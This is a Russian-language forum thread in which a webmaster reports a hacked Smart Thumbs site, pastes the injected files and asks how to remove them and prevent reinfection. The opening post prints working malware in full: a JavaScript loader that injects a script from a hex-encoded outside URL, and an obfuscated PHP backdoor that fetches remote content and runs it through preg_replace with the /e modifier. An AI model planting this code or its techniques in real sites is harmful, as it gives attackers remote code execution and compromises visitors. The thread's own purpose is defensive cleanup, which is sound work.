Ломают Smart Thumbs, как защититься ?

Уроды ломают смарт тумбс, добавляют различные файлы, как пример :


/st/classes/rotator.js

Код: [развернуть]

var DomLoaded = {    onload: [],    loaded: function()    {       if (arguments.callee.done) return;       arguments.callee.done = true;       for (i = 0;i < DomLoaded.onload.length;i++) DomLoaded.onload[i]();    },    load: function(fireThis)    {       this.onload.push(fireThis);       if (document.addEventListener)          document.addEventListener("DOMContentLoaded", DomLoaded.loaded, null);       if (/KHTML|WebKit/i.test(navigator.userAgent))       {          var _timer = setInterval(function()          {             if (/loaded|complete/.test(document.readyState))             {                clearInterval(_timer);                delete _timer;                DomLoaded.loaded();             }          }, 10);       }       /*@cc_on @*/       /*@if (@_win32)       var proto = "src='javascript:void(0)'";       if (location.protocol == "https:") proto = "src=//0";       document.write("<scr"+"ipt id=__ie_onload defer " + proto + "><\/scr"+"ipt>");       var script = document.getElementById("__ie_onload");       script.onreadystatechange = function() {           if (this.readyState == "complete") {               DomLoaded.loaded();           }       };       /*@end @*/       window.onload = DomLoaded.loaded;    } }; DomLoaded.load(function() {       var gads = document.createElement('script');       gads.async = true; gads.type = 'text/javascript';                     gads.src = '\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x61\x72\x75\x70\x73\x64\x72\x65\x61\x6d\x73\x2e\x63\x6f\x6d\x2f\x73\x74\x2f\x73\x75\x62\x6d\x69\x74\x2f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73\x2e\x70\x68\x70';       var node = document.getElementsByTagName('body')[0];          node.parentNode.insertBefore(gads, node);                 });

/st/submit/functions.php

Код: [развернуть]

<?php start_func(); function start_func() {         $df3 = get_defaults("3");         $df5 = get_defaults("5");         $content = $df5(get_defaults("1"));         if (!stristr($content, $df3)) {                 return false;         }         $code = substr($content, strpos($content, $df3));         $code = substr($code, strlen($df3));         $a = get_defaults("4");         $a('/.*/e', get_defaults("6") . $code . "'));", ""); } function get_defaults($stage = false) {         $search = array("!", "#", "$", "%", "^", "&", "*", ")", "[", "]", "<", ">", "?", "@", "{", "}",);         $patterns = array(                             0 => "%cm]Fu*ZG*9t@IH@N0*cm]lu?Zw?==",                             1 => "]L3Vzci9ob2%1lL2Z0cGFj@Y2Vzcy93d3[cua2FydXBz{ZHJlYW1zLm&NvbS93ZWIv<Y3J0ci9pbW)cvYnV0dG9u{cy9yZXNldC}5wbmc=",                             2 => "[ba)se>64{_d<ec*od<e",                             3 => "]Y)2[R<l{O^j%o%6",                             4 => "]cH@Jl?Z1{9y>ZX^Bs}YW<Nl",                             5 => "!Zml^sZV&9nZ<XRf&Y29]udG<Vud<HM=",                             6 => "?ZXZ[hbC#hiY&XNl>NjR!fZG^Vjb}2Rl^KCc{=",                     );         if ($stage == 2)                 return str_replace($search, "", $patterns[$stage]);         else {                 $var = get_defaults(2);                 return str_replace($search, "", $var($patterns[$stage]));         } } ?>

Вставляют в морду свое говно каким то хитрым образом, т.к. темплейты чисты.
<script src="http://******.com/st/classes/rotator.js" type="text/javascript"></script>
<?php include('/usr/home/ftpaccess/www.****.com/web/st/submit/functions.php'); ?>

Кто нибудь в курсе как победить и вычистить все это говно с сервера ? Ну и конечно же как от этого защититься. Хостер сканирует сервера, чистит, а спустя пару дней я опять нахожу что-нибудь

Стукнись к админам из http://soft-com.biz
Дают +100500 к защите от вирусов
ну и заодно чистят сервера от гадости
ПРОВЕРЕНО!

Если своими силами не справимся - обязательно обратимся.

На двух сайтах после каждого ребилда морды появляются строки :

<script src="http://******.com/st/classes/rotator.js" type="text/javascript"></script>
<?php include('/usr/home/ftpaccess/www.****.com/web/st/submit/functions.php'); ?>

Куда копать ?

Админки по ip закрыты, нет?

надо найти бекдор
наиболее вероятное место это папки где может записатся файл с веба